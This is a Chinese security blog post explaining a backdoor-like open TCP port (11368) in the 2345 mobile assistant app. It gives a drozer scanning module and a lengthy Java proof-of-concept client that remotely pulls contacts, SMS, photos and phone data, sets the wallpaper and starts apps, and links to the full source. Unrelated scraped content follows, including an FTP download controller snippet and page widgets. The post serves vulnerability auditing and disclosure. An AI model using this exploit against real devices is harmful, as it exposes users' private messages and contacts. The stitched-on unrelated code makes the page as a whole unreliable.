2345手机助手类似于百度的WormHole漏洞

0x00 前言

前段时间爆出了百度moplus sdk的一个被称为虫洞的漏洞,它被植入到14000款app当中,使这些app躺着也中枪,间接成为了这个虫洞的帮凶。这个案例再次提醒我们,木桶理论适用于产品的安全,任何一处的短板都会使千里之堤毁于蚁穴,sdk的安全也会直接影响着产品的安全。出现这种后台漏洞的根本原因是错用ServerSocket代替了LocalServerSocket,可能设计的初衷是为了给其它app提供接口或者其它一些业务逻辑。根据笔者多年的代码审计经验,这类漏洞存在于app以及一些sdk中的概率占的比例比我们想象的高。授人以鱼不如授人以渔,接下来我们以2345手机助手讲解下这类漏洞的快速发现和利用。


0x01 发现

这里编写drozer的一个扫描模块来发现这类的问题,很方便,代码如下:

from drozer.modules import Module,common
import re

class findport(Module,common.Shell):

    name = "findport"
    description = "find open port in android"
    examples = "run exp.work.findport"
    date = "2015-10-08"
    license = "GPL"
    path = ["exp","work"]

    def toHexPort(self,port):
        hexport = str(hex(int(port)))
        return hexport.strip('0x').upper()

    def finduid(self,protocol, entry):
        if (protocol=='tcp' or protocol=='tcp6'):
            uid = entry.split()[-10]

        else: # udp or udp6
            uid = entry.split()[-6]

        try:
            uid = int(uid)
        except:
            return -1
        if (uid > 10000): # just for non-system app
            return 'u0_a'+str(uid-10000)
        else:
            return -1

    def execute(self, arguments):

        proc_net = "/proc/net/"
        ret = self.shellExec("netstat -anp | grep -Ei 'listen|udp*'")
        list_line = ret.split('\n')
        apps = []
        strip_listline = []
        #pattern = re.compile("^Proto") # omit the first line

        for line in list_line:
                if (line != ''):
                   socket_entry = line.split()
                   protocol = socket_entry[0]
                   port = socket_entry[3].split(':')[-1]
                   grep_appid = 'grep  '+ self.toHexPort(port) + ' ' + proc_net + protocol

                   net_entry = self.shellExec(grep_appid)
                   uid = self.finduid(protocol, net_entry)

                   if (uid == -1):
                       continue

                   applist = self.shellExec('ps | grep ' + uid).split()
                   app = applist[8]
                   apps.append(app)
                   strip_listline.append(line)

        itapp= iter(apps)
        itline=iter(strip_listline)

        self.stdout.write("Proto  Recv-Q Send-Q  Local Address        Foreign Address        State            APP\r\n")
        try:
            while True:
                self.stdout.write( itline.next() + ' '*10 + itapp.next() + '\n')

        except StopIteration:
            pass

        self.stdout.write('\n')

安装模块后,扫描结果如下:


0x02 利用

可以看到2345手机助手(包名为com.market2345)监听了两个tcp端口,这里以11368为例,我们用IDA打开该APK的dex,x快捷键查看ServerSocket的交叉应用,经过分析后迅速锁定到逻辑代码如下:



通过逆向分析之后,可以知道该端口采用google的GSON库通信的,从上图中可以看出来,我们通过利用这个后门漏洞可以远程获取删除联系人,远程设置桌面,获取图片,远程安装apk等等,具体的POC代码我已经写好,主要代码如下:

package com.parker.poc;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicLong;

import android.graphics.Bitmap;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Looper;
import android.os.Message;
import android.util.Log;

import com.parker.poc.model.CommandModel01;
import com.parker.poc.model.CommandModel05;
import com.parker.poc.model.CommandModel11;
import com.parker.poc.model.IconCollation;
import com.parker.poc.model.IconInfo;
import com.parker.poc.model.PhoneData;
import com.parker.poc.model.SMSOperationCommandModel;
import com.parker.poc.model.StartOtherAppCommandModel;
import com.parker.poc.packet.Packet;
import com.parker.poc.util.UnionUtils;

public class Poc extends HandlerThread {
	private static final String TAG = Poc.class.getName();
	public static final int VulcanPort = 11368;
	private Socket mSocket;
	private String mIp;
	private int mPort;
	private PocHandler mHandler;
	private AtomicBoolean mPrepared = new AtomicBoolean(false);
	private Set<PocCallback> mCallbackSet = Collections
			.synchronizedSet(new HashSet<PocCallback>());
	private AtomicLong mTimeout = new AtomicLong(5000);

	private final class PocHandler extends Handler {

		public PocHandler(Looper looper) {
			super(looper);
		}

		@Override
		public void handleMessage(Message msg) {
			Log.v(TAG, "handleMessage:" + PocMsg.code2String(msg.what));
			try {
				connect();
			} catch (IOException e) {
				Log.e(TAG, "can not connect to " + mIp + ":" + mPort, e);
				PocMsg pocMsg = new PocMsg();
				pocMsg.status = PocMsg.STATUS_CONNECT_ERROR;
				pocMsg.msgType = msg.what;
				pocMsg.poc= Poc.this;
				pocMsg.packet = null;
				sendToCallback(pocMsg);
				return;
			}
			Packet sendPacket = new Packet(msg.what, msg.obj);
			Log.i(TAG, "begein to send packet:" + sendPacket.toString());
			try {
				long b = System.currentTimeMillis();
				Packet recvPacket = sendRecv(sendPacket);
				Log.i(TAG,
						String.format("cost %d ms,recv packet:%s",
								System.currentTimeMillis() - b,
								recvPacket.toString()));
				PocMsg pocMsg = new PocMsg();
				pocMsg.status = PocMsg.STATUS_SUCCESS;
				pocMsg.msgType = msg.what;
				pocMsg.packet = recvPacket;
				pocMsg.poc = Poc.this;
				sendToCallback(pocMsg);
				
			} catch (Throwable e) {
				PocMsg pocMsg = new PocMsg();
				pocMsg.status = PocMsg.STATUS_SEND_RECV_ERROR;
				pocMsg.msgType = msg.what;
				pocMsg.packet = null;
				pocMsg.poc = Poc.this;
				sendToCallback(pocMsg);
				Log.e(TAG, "sendRecv" , e);
			}
		}

	}

	private void connect() throws IOException {
		if (this.mSocket != null) {
			this.mSocket.close();
			this.mSocket = null;
		}
		this.mSocket = new Socket();
		this.mSocket.connect(new InetSocketAddress(mIp, mPort));
		this.mSocket.setTcpNoDelay(true);
		this.mSocket.setSoTimeout((int) this.getTimeout());
	}

	@Override
	protected void onLooperPrepared() {
		mHandler = new PocHandler(this.getLooper());
		mPrepared.set(true);
	}

	public Poc(String ip, int port) {
		super(ip);
		this.mIp = ip;
		this.mPort = port;
		//this.start();
	}
	

	public boolean fetch(int cmd, Object obj) {
		if (isPrepared()) {
			Message msg = this.mHandler.obtainMessage();
			msg.what = cmd;
			msg.obj = obj;
			return this.mHandler.sendMessage(msg);
		} else {
			return false;
		}
	}

	public void setTimeout(long timeout) {
		this.mTimeout.set(timeout);
	}

	public long getTimeout() {
		return this.mTimeout.get();
	}

	public boolean fetchVersionCode() {
		return this.fetch(PocMsg.MSG_FETCH_VERSION_CODE, null);
	}

	public boolean fetchAllContacts() {
		return this.fetch(PocMsg.MSG_FETCH_ALL_CONTACTS, null);
	}

	public boolean fetchMusicInfo() {
		return this.fetch(PocMsg.MSG_FETCH_MUSIC_INFO, null);
	}

	public boolean downloadImages(int ids[]) {
		if (ids == null && ids.length <= 0)
			return false;
		IconCollation model = new IconCollation();
		for (int i = 0; i < ids.length; i++) {
			IconInfo iconInfo = new IconInfo();
			iconInfo.id = ids[i];
			model.idList.add(iconInfo);
		}
		return this.fetch(PocMsg.MSG_FETCH_IMAGES, model);
	}

	public boolean fetchPhoneData() {
		return this.fetch(PocMsg.MSG_FETCH_PHONE_DATA, null);
	}

	public boolean startOtherApp(StartOtherAppCommandModel model) {
		return this.fetch(PocMsg.MSG_START_OTHER_APP, model);
	}

	public boolean fetchAllSMS() {
		SMSOperationCommandModel smsModel = new SMSOperationCommandModel();
		smsModel.command = "getall";
		return this.operateSMS(smsModel);

	}

	public boolean operateSMS(SMSOperationCommandModel model) {
		return this.fetch(PocMsg.MSG_OPERATE_SMS, model);
	}

	/*
	 * @param type 可以是0 = "DCIM",1 = wallpaper,2 = other
	 */
	public boolean fetchImagesByType(int type) {
		CommandModel05 model = new CommandModel05();
		model.fileType = type;
		return this.fetch(PocMsg.MSG_FETCH_FILE_BY_TYPE, model);
	}

	/*
	 * @param infoType 可以是"update"或者其他,"update"代表获取更新列表 , 其它值是获取安装应用列表
	 */
	public boolean fetchAppsInfos(String infoType) {
		CommandModel01 model = new CommandModel01();
		model.command = infoType;
		return this.fetch(PocMsg.MSG_FETCH_APPS_INFOS, model);
	}

	public boolean setWallPaper(String filePath) {
		CommandModel11 model = new CommandModel11();
		model.path = filePath;
		return this.fetch(PocMsg.MSG_SET_WALLPAPER, model);

	}

	public boolean isPrepared() {
		return this.mPrepared.get();
	}

	public String getIp() {
		return this.mIp;
	}

	public int getPort() {
		return this.mPort;
	}

	protected void sendToCallback(PocMsg pocMsg) {
		for (PocCallback callback : mCallbackSet) {
			callback.onCallback(pocMsg);
		}

	}

	public boolean registerCallback(PocCallback callback) {
		return this.mCallbackSet.add(callback);

	}

	public boolean unregisterCallback(PocCallback callback) {
		return this.mCallbackSet.remove(callback);
	}

	private synchronized byte[] sendRecv(byte[] buf) throws Throwable {
		BufferedOutputStream bos = new BufferedOutputStream(
				mSocket.getOutputStream());
		bos.write(buf);
		bos.flush();
		BufferedInputStream bis = new BufferedInputStream(
				mSocket.getInputStream());

		byte cmd[] = new byte[4];
		int len = UnionUtils.readFullLength(cmd.length, bis, cmd);
		if (len != cmd.length) {
			throw new IOException("len != cmd.length");
		}
		byte datalen[] = new byte[4];
		len = UnionUtils.readFullLength(datalen.length, bis, datalen);
		if (len != datalen.length) {
			throw new IOException("len != datalen.length");
		}
		int icmd = UnionUtils.byteArrayToInt(cmd, 0);
		int idatalen = UnionUtils.byteArrayToInt(datalen, 0);

		byte data[] = null;
		if (icmd == PocMsg.MSG_FETCH_IMAGES) {
			CommandHandler cmdHandler = new CommandHandler();
			cmdHandler.handle(bis);
			data = cmdHandler.getBytes();
		} else {
			data = new byte[idatalen];
		}
		len = UnionUtils.readFullLength(idatalen, bis, data);

		return UnionUtils.bytesMerger(UnionUtils.bytesMerger(cmd, datalen),
				data);
	}

	private Packet sendRecv(Packet packet) throws Throwable {
		byte sendBuf[] = packet.build();
		return Packet.parsePacket(sendRecv(sendBuf));
	}

/*	@Override
	public boolean equals(Object o) {
		if (this == o)
		{
			return true;
		}
		if (o == null || !(o instanceof Poc))
		{
			return false;
		}
		if (((Poc)o).getIp().equals(this.getIp()) && ((Poc)o).getPort() == this.getPort())
		{
			return true;
		}
		else
		{		
			return false;
			
		}

		
	}

	@Override
	public int hashCode() {
		return 12;
	}
	*/
	
	private PhoneData phoneData;

	public PhoneData getPhoneData() {
		return phoneData;
	}

	public void setPhoneData(PhoneData phoneData) {
		this.phoneData = phoneData;
	}



	
	
	

}

详细见源码: http://download.csdn.net/detail/autohacker/9488480

0x03 总结

这种漏洞的审计没有特别多的奇淫怪招,锻炼的是逆向能力,但也是代码审计过程中不可忽视的一环,由于平时比较忙,很少写技术blog,能用代码说明问题的一般不会写文字,以后看来还是多写点技术博客,毕竟展示自己也是一种能力嘛:)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,以下是完整的代码流程: ```javascript const Ftp = require('ftp'); const fs = require('fs'); const path = require('path'); const sendToWormhole = require('stream-wormhole'); const awaitWriteStream = require('await-stream-ready').write; const Controller = require('egg').Controller; class FileController extends Controller { async download() { const { ctx } = this; const client = new Ftp(); const filePath = ctx.query.filePath; // 文件在ftp服务器上的路径 const fileName = path.basename(filePath); // 文件名 const writeStream = fs.createWriteStream(fileName); // 创建本地文件写入流 // 连接ftp服务器 client.connect({ host: 'ftp.example.com', user: 'username', password: 'password', }); client.on('ready', () => { client.get(filePath, (err, stream) => { if (err) { client.end(); ctx.status = 500; ctx.body = 'Failed to get file'; return; } // 使用stream-wormhole处理异常 stream.once('error', error => { sendToWormhole(stream); client.end(); ctx.status = 500; ctx.body = 'Failed to get file'; }); // 将文件流pipe到本地写入流 stream.pipe(writeStream); // 完成本地写入后,返回文件给前端 writeStream.on('finish', async () => { const fileStream = fs.createReadStream(fileName); // 使用await-stream-ready等待流完成 await awaitWriteStream(fileStream); // 设置响应头,告诉浏览器返回的是文件流 ctx.set('Content-disposition', `attachment; filename=${fileName}`); ctx.set('Content-Type', 'application/octet-stream'); ctx.body = fileStream; // 关闭ftp连接 client.end(); }); }); }); client.on('error', error => { ctx.status = 500; ctx.body = 'Failed to connect ftp server'; }); } } module.exports = FileController; ``` 在上面的代码中,我们首先连接ftp服务器,然后使用ftp库获取文件流。由于获取的流是一个Socket对象,我们无法直接将其赋值给ctx.body返回给前端,因此需要将其pipe到本地文件写入流中,等待写入完成后再将其返回给前端。在写入完成后,我们需要手动设置响应头告诉浏览器返回的是文件流,并关闭ftp连接。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值